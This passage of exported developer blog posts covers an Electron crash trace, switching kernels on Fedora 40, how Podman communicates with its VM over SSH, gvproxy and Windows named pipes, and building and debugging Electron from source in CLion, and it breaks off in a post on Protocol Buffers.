params=0x0000013c00042f40) at api.cc:9725:8 [opt] frame #16: 0x0000000112aff208 Electron Framework`gin::IsolateHolder::IsolateHolder(this=0x0000013c00161688, task_runner=scoped_refptr @ x20, access_mode=, isolate_type=, params=v8::Isolate::CreateParams @ 0x0000013c00042f40, isolate_creation_mode=kNormal, low_priority_task_runner=scoped_refptr @ scalar, isolate=) at isolate_holder.cc:122:5 [opt] frame #17: 0x000000010e4cd8e8 Electron Framework`electron::JavascriptEnvironment::JavascriptEnvironment(uv_loop_s*, bool) [inlined] electron::(anonymous namespace)::CreateIsolateHolder(isolate=0x0000013c002c0000) at javascript_environment.cc:97:10 [opt] frame #18: 0x000000010e4cd884 Electron Framework`electron::JavascriptEnvironment::JavascriptEnvironment(this=0x0000013c00161680, event_loop=, setup_wasm_streaming=) at javascript_environment.cc:108:23 [opt] frame #19: 0x000000010e581fac Electron Framework`electron::NodeService::Initialize(mojo::StructPtr) [inlined] std::__Cr::__unique_if::__unique_single std::__Cr::make_unique(__args=) at unique_ptr.h:621:30 [opt] frame #20: 0x000000010e581f98 Electron Framework`electron::NodeService::Initialize(this=0x0000013c00170d20, params=node::mojom::NodeServiceParamsPtr @ 0x000000016b050c70) at node_service.cc:81:13 [opt] frame #21: 0x000000011147d9bc Electron Framework`node::mojom::NodeServiceStubDispatch::Accept(impl=0x0000013c00170d20, message=0x000000016b051150) at node_service.mojom.cc:278:13 [opt] frame #22: 0x00000001119d1108 Electron Framework`mojo::InterfaceEndpointClient::HandleValidatedMessage(this=, message=) at interface_endpoint_client.cc:1021:54 [opt] frame #23: 0x00000001119d5b78 Electron Framework`mojo::MessageDispatcher::Accept(this=0x0000013c00082de8, message=0x000000016b051150) at message_dispatcher.cc:43:19 [opt] frame #24: 0x00000001119d2d40 Electron Framework`mojo::InterfaceEndpointClient::HandleIncomingMessage(this=0x0000013c00082d00, message=0x000000016b051150) at interface_endpoint_client.cc:706:20 [opt] frame #25: 0x00000001119de6cc Electron Framework`mojo::internal::MultiplexRouter::Accept(mojo::Message*) at multiplex_router.cc:1096:42 [opt] frame #26: 0x00000001119de6b4 Electron Framework`mojo::internal::MultiplexRouter::Accept(this=0x0000013c00092800, message=) at multiplex_router.cc:710:7 [opt] frame #27: 0x00000001119d5b78 Electron Framework`mojo::MessageDispatcher::Accept(this=0x0000013c00092830, message=0x000000016b051300) at message_dispatcher.cc:43:19 [opt] frame #28: 0x00000001119ce6a8 Electron Framework`base::internal::Invoker, base::internal::BindState, base::internal::UnretainedWrapper>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::DispatchMessage(this=0x0000013c00092860, handle=mojo::ScopedMessageHandle @ 0x000000016b0512c0) at connector.cc:554:49 [opt] frame #29: 0x00000001119ce5bc Electron Framework`base::internal::Invoker, base::internal::BindState, base::internal::UnretainedWrapper>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) at connector.cc:611:14 [opt] frame #30: 0x00000001119ce51c Electron Framework`base::internal::Invoker, base::internal::BindState, base::internal::UnretainedWrapper>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::OnHandleReadyInternal(this=0x0000013c00092860, result=) at connector.cc:444:3 [opt] frame #31: 0x00000001119ce51c Electron Framework`base::internal::Invoker, base::internal::BindState, base::internal::UnretainedWrapper>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::OnWatcherHandleReady(this=0x0000013c00092860, interface_name="", result=) at connector.cc:410:3 [opt] frame #32: 0x00000001119ce51c Electron Framework`base::internal::Invoker, base::internal::BindState, base::internal::UnretainedWrapper>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::DecayedFunctorTraits::Invoke(method=, receiver_ptr=, args=, args=) at bind_internal.h:738:12 [opt] frame #33: 0x00000001119ce51c Electron Framework`base::internal::Invoker, base::internal::BindState, base::internal::UnretainedWrapper>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::InvokeHelper, void, 0ul, 1ul>::MakeItSo, base::internal::UnretainedWrapper> const&, unsigned int>(functor=, bound=, args=) at bind_internal.h:930:12 [opt] frame #34: 0x00000001119ce51c Electron Framework`base::internal::Invoker, base::internal::BindState, base::internal::UnretainedWrapper>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::Invoker, base::internal::BindState, base::internal::UnretainedWrapper>, void (unsigned int)>::RunImpl, base::internal::UnretainedWrapper> const&, 0ul, 1ul>(functor=, bound=, (null)=, unbound_args=) at bind_internal.h:1067:14 [opt] frame #35: 0x00000001119ce51c Electron Framework`base::internal::Invoker, base::internal::BindState, base::internal::UnretainedWrapper>, void (unsigned int)>::Run(base=, unbound_args=) at bind_internal.h:987:12 [opt] frame #36: 0x000000010e404a4c Electron Framework`base::internal::Invoker const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback const&>, base::internal::BindState const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] base::RepeatingCallback::Run(this=, args=) const & at callback.h:344:12 [opt] frame #37: 0x000000010e404a18 Electron Framework`base::internal::Invoker const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback const&>, base::internal::BindState const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] mojo::SimpleWatcher::DiscardReadyState(callback=, result=, state=) at simple_watcher.h:192:14 [opt] frame #38: 0x000000010e404a18 Electron Framework`base::internal::Invoker const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback const&>, base::internal::BindState const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] void base::internal::DecayedFunctorTraits const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback const&>::Invoke const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback const&, unsigned int, mojo::HandleSignalsState const&>(function=, args=, args=, args=) at bind_internal.h:671:12 [opt] frame #39: 0x000000010e404a04 Electron Framework`base::internal::Invoker const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback const&>, base::internal::BindState const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] void base::internal::InvokeHelper const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback const&>, void, 0ul>::MakeItSo const&, unsigned int, mojo::HandleSignalsState const&), std::__Cr::tuple> const&, unsigned int, mojo::HandleSignalsState const&>(functor=, bound=, args=, args=) at bind_internal.h:930:12 [opt] frame #40: 0x000000010e404a04 Electron Framework`base::internal::Invoker const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback const&>, base::internal::BindState const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] void base::internal::Invoker const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback const&>, base::internal::BindState const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback>, void (unsigned int, mojo::HandleSignalsState const&)>::RunImpl const&, unsigned int, mojo::HandleSignalsState const&), std::__Cr::tuple> const&, 0ul>(functor=, bound=, (null)=, unbound_args=, unbound_args=) at bind_internal.h:1067:14 [opt] frame #41: 0x000000010e404a04 Electron Framework`base::internal::Invoker const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback const&>, base::internal::BindState const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base=, unbound_args=, unbound_args=) at bind_internal.h:987:12 [opt] frame #42: 0x00000001119f2388 Electron Framework`base::internal::Invoker&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [inlined] base::RepeatingCallback::Run(this=0x000000016b051468, args=0, args=) const & at callback.h:344:12 [opt] frame #43: 0x00000001119f237c Electron Framework`base::internal::Invoker&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) at simple_watcher.cc:278:14 [opt] frame #44: 0x00000001119f237c Electron Framework`base::internal::Invoker&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::DecayedFunctorTraits&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>::Invoke const&, int, unsigned int, mojo::HandleSignalsState>(method=(Electron Framework`mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) at simple_watcher.cc:247), receiver_ptr=, args=0x0000013c00160280, args=0x0000013c00160284, args=) at bind_internal.h:738:12 [opt] frame #45: 0x00000001119f237c Electron Framework`base::internal::Invoker&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::InvokeHelper&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, void, 0ul, 1ul, 2ul, 3ul>::MakeItSo, int, unsigned int, mojo::HandleSignalsState>>(functor=0x0000013c00160260, bound=) at bind_internal.h:954:5 [opt] frame #46: 0x00000001119f2298 Electron Framework`base::internal::Invoker&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::Invoker&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunImpl, int, unsigned int, mojo::HandleSignalsState>, 0ul, 1ul, 2ul, 3ul>(functor=0x0000013c00160260, bound=, (null)=) at bind_internal.h:1067:14 [opt] frame #47: 0x00000001119f2298 Electron Framework`base::internal::Invoker&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base=0x0000013c00160240) at bind_internal.h:980:12 [opt] frame #48: 0x00000001116bea7c Electron Framework`base::TaskAnnotator::RunTaskImpl(base::PendingTask&) [inlined] base::OnceCallback::Run(this=0x0000013c00261078) && at callback.h:156:12 [opt] frame #49: 0x00000001116bea64 Electron Framework`base::TaskAnnotator::RunTaskImpl(this=, pending_task=0x0000013c00261000) at task_annotator.cc:203:34 [opt] frame #50: 0x00000001116d8f5c Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) [inlined] void base::TaskAnnotator::RunTask(this=, event_name=, pending_task=0x0000013c00261000, args=) at task_annotator.h:90:5 [opt] frame #51: 0x00000001116d8f3c Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(this=0x0000013c00080000, continuation_lazy_now=0x000000016b0518c8) at thread_controller_with_message_pump_impl.cc:473:23 [opt] frame #52: 0x00000001116d956c Electron Framework`non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() [inlined] base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork(this=0x0000013c00080000) at thread_controller_with_message_pump_impl.cc:338:40 [opt] frame #53: 0x00000001116d952c Electron Framework`non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() at thread_controller_with_message_pump_impl.cc:0 [opt] frame #54: 0x000000011168056c Electron Framework`base::MessagePumpDefault::Run(this=0x0000013c00060440, delegate=0x0000013c000800e8) at message_pump_default.cc:40:55 [opt] frame #55: 0x00000001116d9bd4 Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(this=0x0000013c00080000, application_tasks_allowed=true, timeout=) at thread_controller_with_message_pump_impl.cc:641:12 [opt] frame #56: 0x00000001116a4f04 Electron Framework`base::RunLoop::Run(this=0x000000016b051b10, location=) at run_loop.cc:134:14 [opt] frame #57: 0x00000001110e24c4 Electron Framework`content::UtilityMain(parameters=) at utility_main.cc:439:12 [opt] frame #58: 0x000000010e6ef7e4 Electron Framework`content::RunOtherNamedProcessTypeMain(process_type=, main_function_params=MainFunctionParams @ 0x000000016b051dd0, delegate=0x000000016b0521f0) at content_main_runner_impl.cc:775:14 [opt] frame #59: 0x000000010e6f04e0 Electron Framework`content::ContentMainRunnerImpl::Run(this=0x00000128002e0280) at content_main_runner_impl.cc:1150:10 [opt] frame #60: 0x000000010e6eee84 Electron Framework`content::RunContentProcess(params=, content_main_runner=) at content_main.cc:331:36 [opt] frame #61: 0x000000010e6ef048 Electron Framework`content::ContentMain(params=ContentMainParams @ 0x000000016b052178) at content_main.cc:344:10 [opt] frame #62: 0x000000010e3c852c Electron Framework`ElectronMain(argc=, argv=) at electron_library_main.mm:26:10 [opt] frame #63: 0x0000000104daca50 OOMOL Studio Helper (Plugin)`main(argc=20, argv=0x000000016b0524f0) at electron_main_mac.cc:84:10 [opt] frame #64: 0x000000018021b154 dyld`start + 2476 ``` [chromium crash-reports]: https://www.chromium.org/developers/crash-reports/#on-mac [utilityProcess]: https://www.electronjs.org/docs/latest/api/utility-process --- # Switch Kernel for Fedora(40) - URL: https://bugs.cc/posts/switch-kernel-for-fedora40/ (Markdown: https://bugs.cc/posts/switch-kernel-for-fedora40/index.md) - Language: English - Published: 2024-05-11 - Tags: fedora, kernel - Translation (Chinese): https://bugs.cc/zh/posts/switch-kernel-for-fedora40/ A few days ago, I upgraded from Fedora 39 to Fedora 40. However, after the upgrade, my `VirtualBox` could not start properly due to a mismatch between the `kernel` and `kernel-header` versions. By using `uname -r` and `dnf list --installed | grep "kernel-headers"`, I found out the versions are as follows: - `kernel`: *6.8.8-300.fc40.x86_64* - `kernel-headers`: *6.8.3-300.fc40.x86_64* I tried to install the matching version of `kernel-headers` using `sudo dnf install kernel-headers-$(uname -r)`, but found that there was no corresponding version available.[^headers-version] Consequently, I decided to downgrade the `kernel` version to match the available `kernel-headers`. After verifying its existence, I attempted to install `kernel` version `6.8.3-300.fc40` using `sudo dnf install kernel-6.8.3-300.fc40.x86_64`, but `dnf` indicated that this version was unavailable. Ultimately, I found a solution on [discussion.fedoraproject], where information from [Fedora Updates System For F40] allowed verification of the required `kernel` version, which could then be installed using `koji download-build --arch=x86_64 `. The process is as follows: ```bash mkdir kernel-downloads cd kernel-downloads koji download-build --arch=x86_64 kernel-6.8.3-300.fc40 sudo dnf install ./kernel-* ``` Upon completion, it was necessary to switch to the newly installed `kernel` version. This could be managed using `sudo grubby --info=ALL` to view the list of system kernels, noting the desired `index` and `kernel`. For example: ![Grubby info all](https://bugs.cc/images/switch-kernel-for-fedora-40/grubby-info-all.png) Next, a temporary switch to this `kernel` was made to ensure everything was working properly:[^grub-reboot] ```bash sudo grub2-reboot "3" reboot ``` If everything functioned as expected, this `kernel` could be set as the default: ```bash sudo grubby --set-default /boot/vmlinuz-6.8.3-300.fc40.x86_64 ``` A final check to confirm the default setting was successful: ```bash sudo grubby --default-kernel ``` From this point on, our system will use the `6.8.3-300.fc40` version of the `kernel` by default until a `dnf update` is performed or another version is manually selected. Reference: - https://discussion.fedoraproject.org/t/how-do-i-install-an-old-kernel/76942/3 - https://knowledgebase.frame.work/en_us/change-default-fedora-kernel-H1Jnv0n6 [fedoraproject/rpms/kernel]: https://src.fedoraproject.org/rpms/kernel [fedoraproject/rpms/kernel-headers]: https://src.fedoraproject.org/rpms/kernel-headers [discussion.fedoraproject]: https://discussion.fedoraproject.org/t/how-do-i-install-an-old-kernel/76942/3 [Fedora Updates System For F40]: https://bodhi.fedoraproject.org/updates/?packages=kernel&release=F40 [^headers-version]: This can also be confirmed on [fedoraproject/rpms/kernel] and [fedoraproject/rpms/kernel-headers], where the latest version of `kernel-headers` for Fedora 40 is `6.8.3-300.fc40`. [^grub-reboot]: The above command sets the system to boot from `kernel` at `index` `3` on the next reboot (effective for one time only). --- # Podman basics and how it talks to containers - URL: https://bugs.cc/posts/podman-basic-principles-and-communication-mechanisms/ (Markdown: https://bugs.cc/posts/podman-basic-principles-and-communication-mechanisms/index.md) - Language: English - Published: 2023-08-07 - Tags: podman, linux, gvp, container - Translation (Chinese): https://bugs.cc/zh/posts/podman-basic-principles-and-communication-mechanisms/ Podman is a daemonless open-source container engine. Unlike Docker, Podman does not need a daemon; it manages containers through the libpod library. That avoids some of Docker's security issues: Docker's daemon needs root, while Podman can manage containers as a regular user. ## Architecture sketch `podman` has two parts: the `podman client` and the `libpod` library. Think of them as frontend and backend. Every container operation goes through `libpod`. What the `podman client` does is send the user's command to `libpod`. Note that `libpod` only has a Linux build, so it only runs on Linux. How it runs on Windows and MacOS is in the next section. ## Machine Podman has a machine command that starts a **Linux VM** to run containers. That also avoids needing root when you run containers in Podman. Currently `podman` supports 4 VM types: 1. qemu 2. applehv 3. hyperv 4. wsl2 On Linux, machine is optional. On Windows and MacOS, `machine` is required. - On *Windows*, the default VM type is `wsl2`; `hyperv` is optional - On *MacOS*, the VM type is `qemu`; `applehv` is still in development (as of 2023.08) - On *Linux*, if you start a VM, the type is `qemu` The VM that `machine` starts is Fedora Linux. `machine` also downloads the Fedora Linux image automatically, so the first `podman machine init` is slow (you can download it yourself and pass `--image-path`). If you run `init` without `--image-path`, `podman` always tries to fetch the latest `Fedora` image. The rules: 1. If there is a local cache and it matches the latest image, it does not download 2. The cache keeps only one version, and deletes it after two weeks. Fedora Linux ships `podman`, so on Windows and MacOS the `podman` command you run actually connects to a **socket file** in the VM over *gvp* or *ssh*, and the socket file forwards the request to `libpod`. See: ![podman](https://bugs.cc/images/podman-basic-principles-and-communication-mechanisms/podman-communication-arch.png) `podman remote` in the figure is the `podman` command on the host. It is written that way because on Windows and MacOS, `podman` always runs in **remote** mode. (On Linux you can pass `--remote` to enter this mode.) ## Communication In the figure above, one block is `GVP / SSH`. That is how the host and the VM talk. Before GVP, you need to understand how SSH communication works. That helps with GVP. ### SSH When you `podman machine init` and `podman machine start`, podman starts an ssh service in the VM. You can inspect the connection with `podman system connection ls --format=json`:[^machine-root] ```json [ { "Name": "podman-machine-default", "URI": "ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock", "Identity": "/Users/black-hole/.ssh/podman-machine-default", "IsMachine": true, "Default": true }, { "Name": "podman-machine-default-root", "URI": "ssh://root@127.0.0.1:65489/run/podman/podman.sock", "Identity": "/Users/black-hole/.ssh/podman-machine-default", "IsMachine": true, "Default": false } ] ``` The URI is `ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock`. We can use this *socket file* to reach `libpod` in the VM. When podman sends a request, it first opens an ssh connection, then sends the request over the ssh channel. A sketch: ```go import ( "context" "fmt" "net" "net/http" "net/url" "github.com/containers/common/pkg/ssh" ) func main() { uri := "ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock" _url, _ := url.Parse(uri) conn, _ := ssh.Dial(&ssh.ConnectionDialOptions{ Host: uri, Identity: "/Users/black-hole/.ssh/podman-machine-default", User: _url.User, Port: 65489, InsecureIsMachineConnection: false, }, "golang") client := &http.Client{Transport: &http.Transport{DialContext: func(ctx context.Context, _, _ string) (net.Conn, error) { return ssh.DialNet(conn, "unix", _url) }}} resp, _ := client.Get("http://d/v4.6.0/libpod/_ping") fmt.Println(resp.StatusCode) } ``` This is the Windows behavior. On MacOS the default is *GVP*. On Windows, every CLI operation that touches containers or images goes through this. ### GVP (gvisor-tap-vsock) One reason for GVP is to stop having to ssh into the VM every time and to take over API forwarding.[^gvp-daemon] In short, it forwards traffic from a *socket file* on the host to a *socket file* in the VM. podman first creates a *socket file* on the host, then starts *qemu* with `-qmp` to expose qemu's *socket file*, then binds the host *socket file* to qemu's *socket file* via *GVP*. Simplified: ```sh gvproxy -listen-qemu unix:///var/folders/zm/g19w916x2x36bt16htrwtsh80000gp/T/podman/qmp_podman-machine-default.sock -forward-sock /Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock -forward-dest /run/user/502/podman/podman.sock qemu-system-x86_64 -qmp unix:/var/folders/zm/g19w916x2x36bt16htrwtsh80000gp/T/podman/qmp_podman-machine-default.sock,server=on,wait=off -virtfs local,path=/var/folders,mount_tag=vol2,security_model=none ``` On MacOS, podman also ships the `podman-mac-helper` executable in the `pkg` installer. When you `podman machine start`, podman checks for `podman-mac-helper`. If it exists, `podman-mac-helper` creates a symlink `/var/run/docker.sock` pointing at the host *socket file*. ## API forwarding Before we start, think about how you would call the podman API from your program. ### MacOS On MacOS you can run: `export DOCKER_HOST='unix:///Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock'` so later podman commands talk through the local *socket file*. You can also call the API on that *socket file*: ```sh curl --unix-socket /Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock http://d/v4.6.0/libpod/_ping ``` ### Windows Windows has no *socket file*. API calls still matter, so the podman team ships `win-sshproxy.exe` to forward API requests. *win-sshproxy* creates a duplex pipe with Windows `Named Pipe`, which you can treat as a *socket file*.[^winsshproxy-daemon] Creating the `Named Pipe` is simple: ```go // Allow built-in admins and system/kernel components const SddlDevObjSysAllAdmAll = "D:P(A;;GA;;;SY)(A;;GA;;;BA)" func ListenNpipe(socketURI *url.URL) (net.Listener, error) { user, _ := user.Current() // Also allow current user sddl := fmt.Sprintf("%s(A;;GA;;;%s)", SddlDevObjSysAllAdmAll, user.Uid) config := winio.PipeConfig{ SecurityDescriptor: sddl, MessageMode: true, InputBufferSize: 65536, OutputBufferSize: 65536, } path := strings.Replace(socketURI.Path, "/", "\\", -1) return winio.ListenPipe(path, &config) } ``` After the *Named Pipe* exists, *win-sshproxy* opens an *ssh* connection and binds it to the *Named Pipe*: ```go func main() { complete := new(sync.WaitGroup) complete.Add(2) go forward(ssh, namedPipe, complete) go forward(namedPipe, ssh, complete) go func() { complete.Wait() ssh.Close() namedPipe.Close() }() } func forward(src io.ReadCloser, dest CloseWriteStream, complete *sync.WaitGroup) { defer complete.Done() _, _ = io.Copy(dest, src) // make the io.Copy() on the other end exit _ = dest.CloseWrite() } ``` From then on the host can forward API requests through the *Named Pipe*. JS example: ```js require('http').get({     hostname: 'd',     path: '/v4.6.0/libpod/_ping',     socketPath: '//./pipe/docker_engine', }, res => {     console.log(`statusCode: ${res.statusCode}`)     res.destroy(); }).end(); ``` [^machine-root]: *podman-machine-default-root* is for root access to the VM. We usually connect as a regular user, so we only care about *podman-machine-default*. [^gvp-daemon]: GVP is a long-running process. [^winsshproxy-daemon]: This process has to stay running. --- # Build / debug Electron source - URL: https://bugs.cc/posts/build-and-debug-electron-code/ (Markdown: https://bugs.cc/posts/build-and-debug-electron-code/index.md) - Language: English - Published: 2021-09-21 - Tags: electron, lldb, clion - Translation (Chinese): https://bugs.cc/zh/posts/build-and-debug-electron-code/ > This post uses the `CLion` IDE and `macOS` > > Other IDEs and systems can follow the same approach ## Intro *electron*'s official build docs have some problems. If you follow them exactly, you will not be able to debug. The symptom is that `LLDB` cannot show variables or context for the current `frame`. It looks like this: ![](https://bugs.cc/images/build-and-debug-electron-code/lldb-variables-error.png) ## Build To skip the unimportant parts, I will start from where the official docs go wrong. Official build docs: 1. [Build steps (macOS)](https://www.electronjs.org/docs/development/build-instructions-macos) 2. [Build instructions (macOS)](https://www.electronjs.org/docs/development/build-instructions-gn) Before you start, make sure your `macos SDK` is correct. See: [Setting macOS SDK](https://bugs.cc/posts/build-and-debug-electron-code/#set-macos-sdk) The commands in "A note on pulling/pushing" are already wrong. The correct commands are: ```bash cd src/electron git remote remove origin git remote add origin https://github.com/electron/electron # from here on it differs git fetch git checkout main git pull --rebase origin main git branch --set-upstream-to=origin/main ``` The docs then tell you to run `gclient sync -f`. That command sometimes fails on `dugite`. See: [Dugite download failure workaround](https://bugs.cc/posts/build-and-debug-electron-code/#dugite-solution) > This next part is the point of the post After you finish the commands above, you also need to edit `build/config/compiler/compiler.gni`. Change ```ini forbid_non_component_debug_builds = build_with_chromium ``` to: ```ini forbid_non_component_debug_builds = false ``` Without this step, `gn gen` will fail: ```ini ERROR at //build/config/compiler/compiler.gni:302:3: Assertion failed. assert(symbol_level != 2 || current_toolchain != default_toolchain || ^----- Can't do non-component debug builds at symbol_level=2 See //BUILD.gn:12:1: whence it was imported. import("//build/config/compiler/compiler.gni") ``` ![](https://bugs.cc/images/build-and-debug-electron-code/gn-gen-assertion-error.png) Then when you run `gn gen`, use this command instead of the official one: ```bash gn gen out/Testing --args="import(\"//electron/build/args/testing.gn\") is_debug=true symbol_level=2 $GN_EXTRA_ARGS" ``` If you want `ccache`, use: ```bash gn gen out/Testing --args="import(\"//electron/build/args/testing.gn\") cc_wrapper=\"ccache\" is_debug=true symbol_level=2 $GN_EXTRA_ARGS" ``` Then build: ```bash ninja -C out/Testing electron ``` ## Debug (CLion) If you want to debug with *CLion*, first make sure `ninja -C out/Testing electron` has succeeded. Don't open *CLion* yet. First create a `CMakeLists.txt` in the root directory (the same level as `src`), with this content: ```ts cmake_minimum_required(VERSION 3.20) project(electron) set(CMAKE_CXX_STANDARD 14) set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -O0") include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src) include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src/electron) include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src/out/Testing/gen) add_executable(electron_exec ${CMAKE_CURRENT_SOURCE_DIR}/src/electron/shell/app/electron_main.cc) ``` This file is so *CLion* can index the code and provide completion. Without it, IDE hints will **completely fail**. Then open the project in *CLion*. The project root should look like this: ![](https://bugs.cc/images/build-and-debug-electron-code/select-project-root.png) After opening, you may need to wait tens of minutes for *CLion* to build / refresh the cache. Open in order: Setting -\> Build, Execution, Deployment -\> Custom Build Targets -\> + -\> Set Build. It should look like this: ![](https://bugs.cc/images/build-and-debug-electron-code/custom-build-target.png) Then set `Run/Debug Configurations`, as shown: ![](https://bugs.cc/images/build-and-debug-electron-code/run-debug-config.png) If you want to open your own app with the Electron you built, add the app path in `Program arguments`. Also add `CHROMIUM_LLDBINIT_SOURCED=1`, otherwise you cannot debug Chromium source. After that, one more setting is required, otherwise debugging still will not work: Create `~/.lldbinit` with: ```ts script sys.path[:0] = ['/Users/black-hole/Code/Github/electron/src/tools/lldb'] script import lldbinit ``` Replace the path with your own. The official docs mention this too, but if you follow their `command script import ~/electron/src/tools/lldb/lldbinit.py`, it will not work. I don't know why. The new `~/.lldbinit` format is based on Chromium's. Then breakpoints work, as shown: ![](https://bugs.cc/images/build-and-debug-electron-code/lldb-variables-working.png) ## Issues ### Setting macOS SDK Per Electron's official docs, it is best to use `MacOSX11.0.sdk`. Download `MacOSX11.0.sdk` from [MacOSX-SDKs](https://github.com/phracker/MacOSX-SDKs) into `/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/` That is all. ### Dugite download failure workaround When you run `gclient sync -f` to sync, you may hit: ```bash error /Users/black-hole/Code/Github/electron/src/electron/node_modules/dugite: Command failed. Exit code: 1 Command: node ./script/download-git.js Arguments: Directory: /Users/black-hole/Code/Github/electron/src/electron/node_modules/dugite Output: Downloading Git from: https://github.com/desktop/dugite-native/releases/download/v2.29.3-2/dugite-native-v2.29.3-3d467be-macOS-x64.tar.gz Error raised while downloading https://github.com/desktop/dugite-native/releases/download/v2.29.3-2/dugite-native-v2.29.3-3d467be-macOS-x64.tar.gz GotError [RequestError]: Client network socket disconnected before secure TLS connection was established ``` ![](https://bugs.cc/images/build-and-debug-electron-code/dugite-download-error.png) The reason is that `dugite` does not pick up your machine's proxy when it downloads the binary. You can download it in a browser, then start an *http* server with `python -m SimpleHTTPServer`, like this: ![](https://bugs.cc/images/build-and-debug-electron-code/simplehttpserver-serving.png) Then edit `src/electron/node_modules/dugite/script/embedded-git.json` to:[^embedded-git-os] ![](https://bugs.cc/images/build-and-debug-electron-code/embedded-git-json.png) Then run: ```bash cd src/electron/node_modules/dugite node ./script/download-git.js ``` After that, run `gclient sync -f` again and it should succeed. [^embedded-git-os]: The field you change depends on the OS. Edit the entry that matches your system. --- # Dynamically modifying a Protocol Buffers string message - URL: https://bugs.cc/posts/dynamically-modify-the-string-message-of-protocol-buffers/ (Markdown: https://bugs.cc/posts/dynamically-modify-the-string-message-of-protocol-buffers/index.md) - Language: English - Published: 2021-05-27 - Tags: protobuf, golang - Translation (Chinese): https://bugs.cc/zh/posts/dynamically-modify-the-string-message-of-protocol-buffers/ ## Preface Requirements changed: we had to move logs that used to go to *Alibaba Cloud* onto our internal log platform, which speaks `Protocol Buffers`. Because reporting used to live on *Alibaba Cloud*, we let `logtail` record the user's request *IP* for us. The internal platform's `RESTful` API is only a forwarder: the frontend encodes with *pb* -> sends to the `RESTful` API -> the server forwards over UDP to the *data platform*. So the user's request *IP* has to be recorded by that `RESTful` relay. The problem is the relay is a generic service: it does not turn *json* into *pb*. The frontend has to do that. Once the frontend has encoded the log, the relay cannot change it. That makes it hard for the relay to add an *IP*. After thinking it through, three options: 1. The frontend fetches the *IP* by requesting a third-party resource 2. The relay does the encoding 3. The relay patches the pb message The first was ruled out immediately: CDN 